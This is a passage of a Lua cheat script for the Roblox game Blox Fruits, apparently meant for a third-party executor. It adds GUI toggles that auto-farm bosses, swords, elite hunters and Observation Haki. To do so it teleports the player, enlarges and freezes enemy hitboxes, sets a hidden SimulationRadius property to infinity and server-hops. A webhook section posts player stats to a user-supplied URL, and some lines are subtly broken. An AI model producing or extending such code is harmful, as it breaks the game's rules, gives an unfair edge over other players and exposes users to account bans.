                                until not _G.AutoElectricClaw or (game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position - CFrame.new(-10371.4717, 330.764496, -10131.4199).Position).Magnitude <= 10
                                game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuyElectricClaw","Start")
                                wait(2)
                                repeat task.wait()
                                    topos(CFrame.new(-12550.532226563, 336.22631835938, -7510.4233398438))
                                until not _G.AutoElectricClaw or (game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position - CFrame.new(-12550.532226563, 336.22631835938, -7510.4233398438).Position).Magnitude <= 10
                                wait(1)
                                repeat task.wait()
                                    topos(CFrame.new(-10371.4717, 330.764496, -10131.4199))
                                until not _G.AutoElectricClaw or (game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position - CFrame.new(-10371.4717, 330.764496, -10131.4199).Position).Magnitude <= 10
                                wait(1)
                                game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuyElectricClaw")
                            elseif _G.AutoFarm == true then
                                _G.AutoFarm = false
                                wait(1)
                                repeat task.wait()
                                    topos(CFrame.new(-10371.4717, 330.764496, -10131.4199))
                                until not _G.AutoElectricClaw or (game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position - CFrame.new(-10371.4717, 330.764496, -10131.4199).Position).Magnitude <= 10
                                game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuyElectricClaw","Start")
                                wait(2)
                                repeat task.wait()
                                    topos(CFrame.new(-12550.532226563, 336.22631835938, -7510.4233398438))
                                until not _G.AutoElectricClaw or (game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position - CFrame.new(-12550.532226563, 336.22631835938, -7510.4233398438).Position).Magnitude <= 10
                                wait(1)
                                repeat task.wait()
                                    topos(CFrame.new(-10371.4717, 330.764496, -10131.4199))
                                until not _G.AutoElectricClaw or (game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position - CFrame.new(-10371.4717, 330.764496, -10131.4199).Position).Magnitude <= 10
                                wait(1)
                                game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuyElectricClaw")
                                _G.SelectWeapon = "Electric Claw"
                                wait(.1)
                                _G.AutoFarm = true
                            end
                        end
                    end
                end
            end
        end)
    end)
    
    iain:Toggle("Auto Dragon Talon",_G.AutoDragonTalon,function(value)
        _G.AutoDragonTalon = value
    end)
    
    spawn(function()
        while wait() do
            if _G.AutoDragonTalon then
                if game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Dragon Claw") or game:GetService("Players").LocalPlayer.Character:FindFirstChild("Dragon Claw") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Dragon Talon") or game:GetService("Players").LocalPlayer.Character:FindFirstChild("Dragon Talon") then
                    if game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Dragon Claw") and game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Dragon Claw").Level.Value >= 400 then
                        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuyDragonTalon")
                        _G.SelectWeapon = "Dragon Talon"
                    end  
                    if game:GetService("Players").LocalPlayer.Character:FindFirstChild("Dragon Claw") and game:GetService("Players").LocalPlayer.Character:FindFirstChild("Dragon Claw").Level.Value >= 400 then
                        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BuyDragonTalon")
                        _G.SelectWeapon = "Dragon Talon"
                    end  
                    if game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Dragon Claw") and game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Dragon Claw").Level.Value <= 399 then
                        _G.SelectWeapon = "Dragon Claw"
                    end 
                else 
                    game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("BlackbeardReward","DragonClaw","2")
                end
            end
        end
    end)
    
  -- Main:Seperator("Misc Mastery")
    
 
    
    iain:Seperator("Buddy Sword")
    
    iain:Toggle("Auto Buddy Sword",_G.AutoBudySword,function(value)
		          	if _G.SelectWeapon == nil or _G.Setting_table.Weapon == nil then

Text("Select Weapon First")
else
        _G.AutoBudySword = value
        StopTween(_G.AutoBudySword)
					  end
    end)
    
    iain:Toggle("Auto Buddy Sword Hop",_G.AutoBudySwordHop,function(value)
		          	if _G.SelectWeapon == nil or _G.Setting_table.Weapon == nil then

Text("Select Weapon First")
else
        _G.AutoBudySwordHop = value
					  end
    end)
    
    spawn(function()
        while wait() do
            if _G.AutoBudySword then
                pcall(function()
                    if game:GetService("Workspace").Enemies:FindFirstChild("Cake Queen [Lv. 2175] [Boss]") then
                        for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                            if v.Name == "Cake Queen [Lv. 2175] [Boss]" then
                                if v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 then
                                    repeat task.wait()
                                        AutoHaki()
                                        EquipWeapon(_G.SelectWeapon)
                                        v.HumanoidRootPart.CanCollide = false
                                        v.Humanoid.WalkSpeed = 0
                                        v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                        topos(v.HumanoidRootPart.CFrame * CFrame.new(2,20,2))
                                        game:GetService("VirtualUser"):CaptureController()
                                        game:GetService("VirtualUser"):Button1Down(Vector2.new(1280,672))
                                        sethiddenproperty(game.Players.LocalPlayer,"SimulationRadius",math.huge)
                                    until not _G.AutoBudySword or not v.Parent or v.Humanoid.Health <= 0
                                end
                            end
                        end
                    else
                        if game:GetService("ReplicatedStorage"):FindFirstChild("Cake Queen [Lv. 2175] [Boss]") then
                            topos(game:GetService("ReplicatedStorage"):FindFirstChild("Cake Queen [Lv. 2175] [Boss]").HumanoidRootPart.CFrame * CFrame.new(2,20,2))
                        else
                            if _G.AutoBudySwordHop then
                                Hop()
                            end
                        end
                    end
                end)
            end
        end
    end)
    
        iain:Seperator("Law Sword")
    
    iain:Toggle("Auto Law Sword ", _G.AutoOderSword,function(value)
     	          	if _G.SelectWeapon == nil or _G.Setting_table.Weapon == nil then

Text("Select Weapon First")
else
	     _G.AutoOderSword = value
        StopTween( _G.AutoOderSword)
					   end
    end)
    
    iain:Toggle("Auto Oder Sword Hop (New !)", _G.AutoOderSwordHop,function(value)
         	          	if _G.SelectWeapon == nil or _G.Setting_table.Weapon == nil then

Text("Select Weapon First")
else
		 _G.AutoOderSwordHop = value
						   end
    end)
    
    spawn(function()
        while wait() do
            if  _G.AutoOderSword then
                pcall(function()
                    if game:GetService("Workspace").Enemies:FindFirstChild("Order [Lv. 1250] [Raid Boss]") then
                        for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                            if v.Name == "Order [Lv. 1250] [Raid Boss]" then
                                if v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 then
                                    repeat task.wait()
                                        AutoHaki()
                                        EquipWeapon(_G.SelectWeapon)
                                        v.HumanoidRootPart.CanCollide = false
                                        v.Humanoid.WalkSpeed = 0
                                        v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                        topos(v.HumanoidRootPart.CFrame * CFrame.new(2,20,2))
                                        game:GetService("VirtualUser"):CaptureController()
                                        game:GetService("VirtualUser"):Button1Down(Vector2.new(1280,672))
                                        sethiddenproperty(game.Players.LocalPlayer,"SimulationRadius",math.huge)
                                    until not  _G.AutoOderSword or not v.Parent or v.Humanoid.Health <= 0
                                end
                            end
                        end
                    else
                        if game:GetService("ReplicatedStorage"):FindFirstChild("Order [Lv. 1250] [Raid Boss]") then
                            topos(game:GetService("ReplicatedStorage"):FindFirstChild("Order [Lv. 1250] [Raid Boss]").HumanoidRootPart.CFrame * CFrame.new(2,20,2))
                        else
                            if  _G.AutoOderSwordHop then
                                Hop()
                            end
                        end
                    end
                end)
            end
        end
    end)
    
    iain:Button("Buy Microchip law Boss",function()
    local args = {
       [1] = "BlackbeardReward",
       [2] = "Microchip",
       [3] = "2"
    }
    game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer(unpack(args))
end)

    iain:Button("Start Go To Raid Law Boss",function()
        if World2 then
            fireclickdetector(game:GetService("Workspace").Map.CircleIsland.RaidSummon.Button.Main.ClickDetector)
        end
    end)
    
    iain:Seperator("Elite Hunter")
    
    local EliteProgress = iain:Label("")
    
    spawn(function()
        pcall(function()
            while wait() do
                EliteProgress:Set("Elite Progress : "..game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("EliteHunter","Progress"))
            end
        end)
    end)
    
    iain:Toggle("Auto Elite Hunter",_G.AutoElitehunter,function(value)
		          	if _G.SelectWeapon == nil or _G.Setting_table.Weapon == nil then

Text("Select Weapon First")
else
        _G.AutoElitehunter = value
        game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("AbandonQuest")
        StopTween(_G.AutoElitehunter)
					  end
    end)
    
    spawn(function()
        while wait() do
            if _G.AutoElitehunter and World3 then
                pcall(function()
                    local QuestTitle = game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Container.QuestTitle.Title.Text
                    if game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == false then
                        repeat  wait()
                            topos(CFrame.new(-5418.892578125, 313.74130249023, -2826.2260742188)) 
                        until not _G.AutoElitehunter or (Vector3.new(-5418.892578125, 313.74130249023, -2826.2260742188)-game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 3
                        if (Vector3.new(-5418.892578125, 313.74130249023, -2826.2260742188)-game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 3 then
                            wait(1.1)
                            game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("EliteHunter")
                            wait(0.5)
                        end
                    elseif game:GetService("Players").LocalPlayer.PlayerGui.Main.Quest.Visible == true then
                        if string.find(QuestTitle,"Diablo") or string.find(QuestTitle,"Deandre") or string.find(QuestTitle,"Urban") then
                            if game:GetService("Workspace").Enemies:FindFirstChild("Diablo [Lv. 1750]") or game:GetService("Workspace").Enemies:FindFirstChild("Deandre [Lv. 1750]") or game:GetService("Workspace").Enemies:FindFirstChild("Urban [Lv. 1750]") then
                                for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                                    if v.Name == "Diablo [Lv. 1750]" or v.Name == "Deandre [Lv. 1750]" or v.Name == "Urban [Lv. 1750]" then
                                        if v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 then
                                            repeat task.wait()
                                                AutoHaki()
                                                EquipWeapon(_G.SelectWeapon)
                                                v.HumanoidRootPart.CanCollide = false
                                                v.Humanoid.WalkSpeed = 0
                                                v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                                topos(v.HumanoidRootPart.CFrame * CFrame.new(2,20,2))
                                                game:GetService("VirtualUser"):CaptureController()
                                                game:GetService("VirtualUser"):Button1Down(Vector2.new(1280,672))
                                                sethiddenproperty(game:GetService("Players").LocalPlayer,"SimulationRadius",math.huge)
                                            until _G.AutoElitehunter == false or v.Humanoid.Health <= 0 or not v.Parent
                                        end
                                    end
                                end
                            else
                                if game:GetService("ReplicatedStorage"):FindFirstChild("Diablo [Lv. 1750]") then
                                    topos(game:GetService("ReplicatedStorage"):FindFirstChild("Diablo [Lv. 1750]").HumanoidRootPart.CFrame * CFrame.new(2,20,2))
                                elseif game:GetService("ReplicatedStorage"):FindFirstChild("Deandre [Lv. 1750]") then
                                    topos(game:GetService("ReplicatedStorage"):FindFirstChild("Deandre [Lv. 1750]").HumanoidRootPart.CFrame * CFrame.new(2,20,2))
                                elseif game:GetService("ReplicatedStorage"):FindFirstChild("Urban [Lv. 1750]") then
                                    topos(game:GetService("ReplicatedStorage"):FindFirstChild("Urban [Lv. 1750]").HumanoidRootPart.CFrame * CFrame.new(2,20,2))
                                else
                                    if _G.AutoEliteHunterHop then
                                        Hop()
                                    else
                                        topos(CFrame.new(-5418.892578125, 313.74130249023, -2826.2260742188))
                                    end
                                end
                            end                    
                        end
                    end
                end)
            end
        end
    end)
    
    iain:Toggle("Auto Elite Hunter Hop",_G.AutoEliteHunterHop,function(value)
     	          	if _G.SelectWeapon == nil or _G.Setting_table.Weapon == nil then

Text("Select Weapon First")
else
	    _G.AutoEliteHunterHop = value
					   end
    end)
    
    iain:Seperator("Hallow Scythe")
    
    iain:Toggle("Auto Hallow Scythe",_G.AutoFarmBossHallow,function(value)
       	          	if _G.SelectWeapon == nil or _G.Setting_table.Weapon == nil then

Text("Select Weapon First")
else
	    _G.AutoFarmBossHallow = value
        StopTween(_G.AutoFarmBossHallow)
						 end
    end)
    
    iain:Toggle("Auto Hallow Scythe Hop",_G.AutoFarmBossHallowHop,function(value)
        	          	if _G.SelectWeapon == nil or _G.Setting_table.Weapon == nil then

Text("Select Weapon First")
else
		_G.AutoFarmBossHallowHop = value
						  end
    end)
    
    spawn(function()
        while wait() do
            if _G.AutoFarmBossHallow then
                pcall(function()
                    if game:GetService("Workspace").Enemies:FindFirstChild("Soul Reaper [Lv. 2100] [Raid Boss]") then
                        for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                            if string.find(v.Name , "Soul Reaper") then
                                repeat task.wait()
                                    EquipWeapon(_G.SelectWeapon)
                                    AutoHaki()
                                    v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                    topos(v.HumanoidRootPart.CFrame*CFrame.new(2,20,2))
                                    game:GetService("VirtualUser"):CaptureController()
                                    game:GetService("VirtualUser"):Button1Down(Vector2.new(1280, 670))
                                    v.HumanoidRootPart.Transparency = 1
                                    sethiddenproperty(game.Players.LocalPlayer,"SimulationRadius",math.huge)
                                until v.Humanoid.Health <= 0 or _G.AutoFarmBossHallow == false
                            end
                        end
                    elseif game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Hallow Essence") or game:GetService("Players").LocalPlayer.Character:FindFirstChild("Hallow Essence") then
                        repeat topos(CFrame.new(-8932.322265625, 146.83154296875, 6062.55078125)) wait() until (CFrame.new(-8932.322265625, 146.83154296875, 6062.55078125).Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 8                        
                        EquipWeapon("Hallow Essence")
                    else
                        if game:GetService("ReplicatedStorage"):FindFirstChild("Soul Reaper [Lv. 2100] [Raid Boss]") then
                            topos(game:GetService("ReplicatedStorage"):FindFirstChild("Soul Reaper [Lv. 2100] [Raid Boss]").HumanoidRootPart.CFrame * CFrame.new(2,20,2))
                        else
                            if _G.AutoFarmBossHallowHop then
                                Hop()
                            end
                        end
                    end
                end)
            end
        end
    end)
    
    iain:Seperator("Dark Dagger")
    
    iain:Toggle("Auto Kill Admin Boss",_G.AutoDarkDagger,function(value)
        _G.AutoDarkDagger = value
        StopTween(_G.AutoDarkDagger)
    end)
        
    spawn(function()
        pcall(function()
            while wait() do
                if _G.AutoDarkDagger then
                    if game:GetService("Workspace").Enemies:FindFirstChild("rip_indra True Form [Lv. 5000] [Raid Boss]") or game:GetService("Workspace").Enemies:FindFirstChild("rip_indra [Lv. 5000] [Raid Boss]") then
                        for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                            if v.Name == ("rip_indra True Form [Lv. 5000] [Raid Boss]" or v.Name == "rip_indra [Lv. 5000] [Raid Boss]") and v.Humanoid.Health > 0 and v:IsA("Model") and v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") then
                                repeat task.wait()
                                    pcall(function()
                                        AutoHaki()
                                        EquipWeapon(_G.SelectWeapon)
                                        v.HumanoidRootPart.CanCollide = false
                                        v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                        topos(v.HumanoidRootPart.CFrame * CFrame.new(2,20,2))
                                        game:GetService("VirtualUser"):CaptureController()
                                        game:GetService("VirtualUser"):Button1Down(Vector2.new(1280, 670),workspace.CurrentCamera.CFrame)
                                    end)
                                until _G.AutoDarkDagger == false or v.Humanoid.Health <= 0
                            end
                        end
                    else
                        topos(CFrame.new(-5344.822265625, 423.98541259766, -2725.0930175781))
                    end
                end
            end
        end)
    end)
    
    iain:Toggle("Auto Kill Admin Boss Hop",_G.AutoDarkDagger_Hop,function(value)
        _G.AutoDarkDagger_Hop = value
    end)
    
    spawn(function()
        pcall(function()
            while wait() do
                if (_G.AutoDarkDagger_Hop and _G.AutoDarkDagger) and World3 and not game:GetService("ReplicatedStorage"):FindFirstChild("rip_indra True Form [Lv. 5000] [Raid Boss]") and not game:GetService("Workspace").Enemies:FindFirstChild("rip_indra True Form [Lv. 5000] [Raid Boss]") then
                    Hop()
                end
            end
        end)
    end)
    
    iain:Seperator("Swan Glasses")
    
    iain:Toggle("Auto Swan Glasses",_G.AutoFarmSwanGlasses,function(value)
        _G.AutoFarmSwanGlasses = value
        StopTween(_G.AutoFarmSwanGlasses)
    end)
    
    spawn(function()
        pcall(function()
            while wait() do
                if _G.AutoFarmSwanGlasses then
                    if game:GetService("Workspace").Enemies:FindFirstChild("Don Swan [Lv. 1000] [Boss]") then
                        for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                            if v.Name == "Don Swan [Lv. 1000] [Boss]" and v.Humanoid.Health > 0 and v:IsA("Model") and v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") then
                                repeat task.wait()
                                    pcall(function()
                                        AutoHaki()
                                        EquipWeapon(_G.SelectWeapon)
                                        v.HumanoidRootPart.CanCollide = false
                                        v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                        topos(v.HumanoidRootPart.CFrame * CFrame.new(2,20,2))
                                        game:GetService("VirtualUser"):CaptureController()
                                        game:GetService("VirtualUser"):Button1Down(Vector2.new(1280, 670))
                                        sethiddenproperty(game:GetService("Players").LocalPlayer,"SimulationRadius",math.huge)
                                    end)
                                until _G.AutoFarmSwanGlasses == false or v.Humanoid.Health <= 0
                            end
                        end
                    else 
                        repeat task.wait()
                            game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("requestEntrance",Vector3.new(2284.912109375, 15.537666320801, 905.48291015625)) 
                        until (CFrame.new(2284.912109375, 15.537666320801, 905.48291015625).Position - game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 4 or _G.AutoFarmSwanGlasses == false
                    end
                end
            end
        end)
    end)
    
    iain:Toggle("Auto Swan Glasses Hop",_G.AutoFarmSwanGlasses_Hop,function(value)
        _G.AutoFarmSwanGlasses_Hop = value
    end)
    
    spawn(function()
        pcall(function()
            while wait(.1) do
                if (_G.AutoFarmSwanGlasses and _G.AutoFarmSwanGlasses_Hop) and World2 and not game:GetService("ReplicatedStorage"):FindFirstChild("Don Swan [Lv. 1000] [Boss]") and not game:GetService("Workspace").Enemies:FindFirstChild("Don Swan [Lv. 1000] [Boss]") then
                    Hop()
                end
            end
        end)
    end)
    
    iain:Seperator("Bone")
    
 
    
    iain:Toggle("Auto Random Surprise",_G.Auto_Random_Bone,function(value)
        _G.Auto_Random_Bone = value
    end)
    
    spawn(function()
        pcall(function()
            while wait(.1) do
                if _G.Auto_Random_Bone then    
                    game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("Bones","Buy",1,1)
                end
            end
        end)
    end)
        
        iain:Button("Checking Bone", function()
    game.StarterGui:SetCore("SendNotification", {
        Title = "Checking Bone", 
        Text = ("Your Bone : "..(game:GetService("ReplicatedStorage").Remotes.CommF_:InvokeServer("Bones","Check")))
    })
    wait(1)
end)
        
                
    Main:Seperator("Observation Haki")
    
    local ObservationRange = Main:Label("")
    
    spawn(function()
        while wait() do
            pcall(function()
                ObservationRange:Set("Observation Haki Level : "..math.floor(game:GetService("Players").LocalPlayer.VisionRadius.Value))
            end)
        end
    end)
    
    Main:Toggle("Auto Farm Observation",_G.AutoObservation,function(value)
        _G.AutoObservation = value
        StopTween(_G.AutoObservation)
    end)
    
    spawn(function()
        while wait() do
            pcall(function()
                if _G.AutoObservation then
                    repeat task.wait()
                        if not game:GetService("Players").LocalPlayer.PlayerGui.ScreenGui:FindFirstChild("ImageLabel") then
                            game:GetService('VirtualUser'):CaptureController()
                            game:GetService('VirtualUser'):SetKeyDown('0x65')
                            wait(2)
                            game:GetService('VirtualUser'):SetKeyUp('0x65')
                        end
                    until game:GetService("Players").LocalPlayer.PlayerGui.ScreenGui:FindFirstChild("ImageLabel") or not _G.AutoObservation
                end
            end)
        end
    end)
    
    Main:Toggle("Auto Farm Observation Hop",_G.AutoObservation_Hop,function(value)
        _G.AutoObservation_Hop = value
    end)

	     _G.SendWeb = false    
		 _G.URL = "" 
    Main:Seperator("Webhook")
	Main:Textbox("Webhook Link","Type You Link",function(t)
	_G.URL = t
	end)
        Main:Toggle("Send You Informations Every 60 Seconds",_G.SendWeb,function(value)
        _G.SendWeb = value
    end)

	    Main:Button("Test The Webhook",function()
			
local exploits = identifyexecutor()

local text = "Level:"..game:GetService("Players").LocalPlayer.Data.Level.Value.."                                               Beli:"..game:GetService("Players").LocalPlayer.Data.Beli.Value.."                                               Fragments:"..game:GetService("Players").LocalPlayer.Data.Fragments.Value.."                                               Points:"..game:GetService("Players").LocalPlayer.Data.Points.Value.."                                               EXP:"..game:GetService("Players").LocalPlayer.Data.Exp.Value.."\nSpawnPoint:"..game:GetService("Players").LocalPlayer.Data.LastSpawnPoint.Value.."\n DevilFruit: "..game:GetService("Players").LocalPlayer.Data.DevilFruit.Value.."\n Bounty/Honor: "..game:GetService("Players").LocalPlayer.leaderstats["Bounty/Honor"].Value.."\n Points: "..game:GetService("Players").LocalPlayer.Data.Points.Value
local url = _G.URL
  
  local data = {
   ["content"] = "",
   ["embeds"] = {
       {
           ["title"] = "New Information", 
           ["description"] = "Username: " ..game.Players.LocalPlayer.Name.. " \n" ..text,
           ["type"] = "rich",
           ["color"] = tonumber(0x7269da),
           ["image"] = {
               ["url"] = "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=150&Format=Png&username=" ..
                   tostring(game:GetService("Players").LocalPlayer.Name)
           }
       }
   }
}
local newdata = game:GetService("HttpService"):JSONEncode(data)

local headers = {
   ["content-type"] = "application/json"
}
request = http_request or request or HttpPost or syn.request
local abcdef = {Url = url, Body = newdata, Method = "POST", Headers = headers}
request(abcdef)
    end)
	 spawn(function()
        while wait(60) do
            if _G.SendWeb then
			
					
local exploits = identifyexecutor()

local text = "Level:"..game:GetService("Players").LocalPlayer.Data.Level.Value.."                                               Beli:"..game:GetService("Players").LocalPlayer.Data.Beli.Value.."                                               Fragments:"..game:GetService("Players").LocalPlayer.Data.Fragments.Value.."                                               Points:"..game:GetService("Players").LocalPlayer.Data.Points.Value.."                                               EXP:"..game:GetService("Players").LocalPlayer.Data.Exp.Value.."\nSpawnPoint:"..game:GetService("Players").LocalPlayer.Data.LastSpawnPoint.Value.."\n DevilFruit: "..game:GetService("Players").LocalPlayer.Data.DevilFruit.Value.."\n Bounty/Honor: "..game:GetService("Players").LocalPlayer.leaderstats["Bounty/Honor"].Value.."\n Points: "..game:GetService("Players").LocalPlayer.Data.Points.Value
local url = _G.URL
  
  local data = {
   ["content"] = "",
   ["embeds"] = {
       {
           ["title"] = "New Information", 
           ["description"] = "Username: " ..game.Players.LocalPlayer.DisplayName.. "                                               " ..text,
           ["type"] = "rich",
           ["color"] = tonumber(0x7269da),
           ["image"] = {
               ["url"] = "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=150&Format=Png&username=" ..
                   tostring(game:GetService("Players").LocalPlayer.Name)
           }
       }
   }
}
local newdata = game:GetService("HttpService"):JSONEncode(data)

local headers = {
   ["content-type"] = "application/json"
}
request = http_request or request or HttpPost or syn.request
local abcdef = {Url = url, Body = newdata, Method = "POST", Headers = headers}
request(abcdef)
         
        end
		end
    end)
    spawn(function()
        pcall(function()
            while wait() do
                if _G.AutoObservation then
                    if game:GetService("Players").LocalPlayer.VisionRadius.Value >= 3000 then
                        game:GetService("StarterGui"):SetCore("SendNotification", {
                            Icon = "rbxassetid://0";
                            Title = "Observation", 
                            Text = "You Have Max Points"
                        })
                        wait(2)
                    else
                        if World2 then
                            if game:GetService("Workspace").Enemies:FindFirstChild("Lava Pirate [Lv. 1200]") then
                                if game:GetService("Players").LocalPlayer.PlayerGui.ScreenGui:FindFirstChild("ImageLabel") then
                                    repeat task.wait()
                                        game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame = game:GetService("Workspace").Enemies:FindFirstChild("Lava Pirate [Lv. 1200]").HumanoidRootPart.CFrame * CFrame.new(3,0,0)
                                    until _G.AutoObservation == false or not game:GetService("Players").LocalPlayer.PlayerGui.ScreenGui:FindFirstChild("ImageLabel")
                                else
                                    repeat task.wait()
                                        game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame = game:GetService("Workspace").Enemies:FindFirstChild("Lava Pirate [Lv. 1200]").HumanoidRootPart.CFrame * CFrame.new(0,50,0)+
                                            wait(1)
                                        if not game:GetService("Players").LocalPlayer.PlayerGui.ScreenGui:FindFirstChild("ImageLabel") and _G.AutoObservation_Hop == true then
                                            game:GetService("TeleportService"):Teleport(game.PlaceId,game:GetService("Players").LocalPlayer)
                                        end
                                    until _G.AutoObservation == false or game:GetService("Players").LocalPlayer.PlayerGui.ScreenGui:FindFirstChild("ImageLabel")
                                end
                            else
                                topos(CFrame.new(-5478.39209, 15.9775667, -5246.9126))
                            end
                        elseif World1 then
                            if game:GetService("Workspace").Enemies:FindFirstChild("Galley Captain [Lv. 650]") then
                                if game:GetService("Players").LocalPlayer.PlayerGui.ScreenGui:FindFirstChild("ImageLabel") then
                                    repeat task.wait()
                                        game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame = game:GetService("Workspace").Enemies:FindFirstChild("Galley Captain [Lv. 650]").HumanoidRootPart.CFrame * CFrame.new(3,0,0)
                                    until _G.AutoObservation == false or not game:GetService("Players").LocalPlayer.PlayerGui.ScreenGui:FindFirstChild("ImageLabel")
                                else
                                    repeat task.wait()
                                        game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame = game:GetService("Workspace").Enemies:FindFirstChild("Galley Captain [Lv. 650]").HumanoidRootPart.CFrame * CFrame.new(0,50,0)
                                        wait(1)
                                        if not game:GetService("Players").LocalPlayer.PlayerGui.ScreenGui:FindFirstChild("ImageLabel") and _G.AutoObservation_Hop == true then
                                            game:GetService("TeleportService"):Teleport(game.PlaceId,game:GetService("Players").LocalPlayer)
                                        end
                                    until _G.AutoObservation == false or game:GetService("Players").LocalPlayer.PlayerGui.ScreenGui:FindFirstChild("ImageLabel")
                                end
                            else
                                topos(CFrame.new(5533.29785, 88.1079102, 4852.3916))
                            end
                        elseif World3 then
                            if game:GetService("Workspace").Enemies:FindFirstChild("Giant Islander [Lv. 1650]") then
                                if game:GetService("Players").LocalPlayer.PlayerGui.ScreenGui:FindFirstChild("ImageLabel") then
                                    repeat task.wait()
                                        game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame = game:GetService("Workspace").Enemies:FindFirstChild("Giant Islander [Lv. 1650]").HumanoidRootPart.CFrame * CFrame.new(3,0,0)
                                    until _G.AutoObservation == false or not game:GetService("Players").LocalPlayer.PlayerGui.ScreenGui:FindFirstChild("ImageLabel")
                                else
                                    repeat task.wait()
                                        game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame = game:GetService("Workspace").Enemies:FindFirstChild("Giant Islander [Lv. 1650]").HumanoidRootPart.CFrame * CFrame.new(0,50,0)
                                        wait(1)
                                        if not game:GetService("Players").LocalPlayer.PlayerGui.ScreenGui:FindFirstChild("ImageLabel") and _G.AutoObservation_Hop == true then
                                            game:GetService("TeleportService"):Teleport(game.PlaceId,game:GetService("Players").LocalPlayer)
                                        end
                                    until _G.AutoObservation == false or game:GetService("Players").LocalPlayer.PlayerGui.ScreenGui:FindFirstChild("ImageLabel")
                                end
                            else
                                topos(CFrame.new(4530.3540039063, 656.75695800781, -131.60952758789))
                            end
                        end
                    end
                end
            end
        end)
    end)
    
    iain:Seperator("Saber")
    
    iain:Toggle("Auto Saber",_G.AutoSaber,function(value)
        _G.AutoSaber = value
        StopTween(_G.AutoSaber)
    end)
    
    iain:Toggle("Auto Saber Hop",_G.AutoSaber_Hop,function(value)
        _G.AutoSaber_Hop = value
    end)
    
    spawn(function()
        while wait() do
            if _G.AutoSaber then
                pcall(function()
                    if game:GetService("Workspace").Enemies:FindFirstChild("Saber Expert [Lv. 200] [Boss]") then
                        for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do
                            if v.Name == "Saber Expert [Lv. 200] [Boss]" then
                                if v:FindFirstChild("Humanoid") and v:FindFirstChild("HumanoidRootPart") and v.Humanoid.Health > 0 then
                                    PosMonSaber = v.HumanoidRootPart.CFrame
                                    repeat task.wait()
                                        AutoHaki()
                                        EquipWeapon(_G.SelectWeapon)
                                        v.HumanoidRootPart.CanCollide = false
                                        v.Humanoid.WalkSpeed = 0
                                        v.HumanoidRootPart.CFrame = PosMonSaber
                                        topos(v.HumanoidRootPart.CFrame * CFrame.new(2,20,2))
                                        v.HumanoidRootPart.Size = Vector3.new(50,50,50)
                                        game:GetService("VirtualUser"):CaptureController()
                                        game:GetService("VirtualUser"):Button1Down(Vector2.new(1280,672))
                                        sethiddenproperty(game.Players.LocalPlayer,"SimulationRadius",math.huge)
                                    until not _G.AutoSaber or not v.Parent or v.Humanoid.Health <= 0
                                end
                            end
                        end
                    else
                        if game:GetService("ReplicatedStorage"):FindFirstChild("Saber Expert [Lv. 200] [Boss]") then
                            topos(game:GetService("ReplicatedStorage"):FindFirstChild("Saber Expert [Lv. 200] [Boss]").HumanoidRootPart.CFrame * CFrame.new(2,20,2))
                        else
                            if _G.AutoSaber_Hop then
                                Hop()
                            end
                        end
                    end
                end)
            end
        end
    end)
    
    iain:Seperator("True Triple Katana (Legendary Swords)")



